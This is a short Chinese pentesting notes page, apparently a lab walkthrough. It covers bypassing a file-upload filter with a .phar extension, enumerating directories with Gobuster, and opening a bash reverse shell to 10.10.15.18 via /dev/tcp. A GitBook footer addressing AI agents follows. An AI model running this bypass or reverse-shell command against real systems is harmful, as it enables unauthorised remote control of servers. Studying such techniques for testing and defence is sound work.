> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web-vulnerabilities/file-upload-attack/file-upload-.phar-extension-pentesting-web.md).
# 文件上传 .phar 扩展
#### 初始利用：
尝试通过插入恶意 PHP 文件来利用文件上传漏洞
```php
```
服务器会自动拒绝带有某些扩展名的文件上传请求。
**使用 Burp Suite 进行拦截：** 使用 Burp Suite 拦截并分析流量，以了解利用失败的原因
#### 修改 PHP 扩展名：
修改文件的扩展名为 `.php` 更改为 `.phar` 在变量 `filename`中，并确保该位置被成功接受
**目录枚举：** 使用 Gobuster 来识别 Web 服务器上的目录，并定位已上传的医学图像存储位置。
```bash
gobuster dir -u http://10.10.11.241:8080/ -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 20
```
#### 文件未被解释：
.phar 文件的内容不会被解释。
**使用 GitHub 工具创建 Shell：** 使用来自 GitHub 项目的工具来绕过上传 PHP 文件的限制并获得 shell 访问
{% embed url="" %}
**启动反向 Shell：**
```bash
/usr/bin/bash -c 'bash -i >& /dev/tcp/10.10.15.18/444 0>&1'
```
执行反向 shell 命令，以在目标机器上建立交互式访问并获得完全控制。
---
# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.
## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.
Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:
```
GET https://hacking-notes.jord4n.pro/zh/web-vulnerabilities/file-upload-attack/file-upload-.phar-extension-pentesting-web.md?ask=&goal=
```
`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.
Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.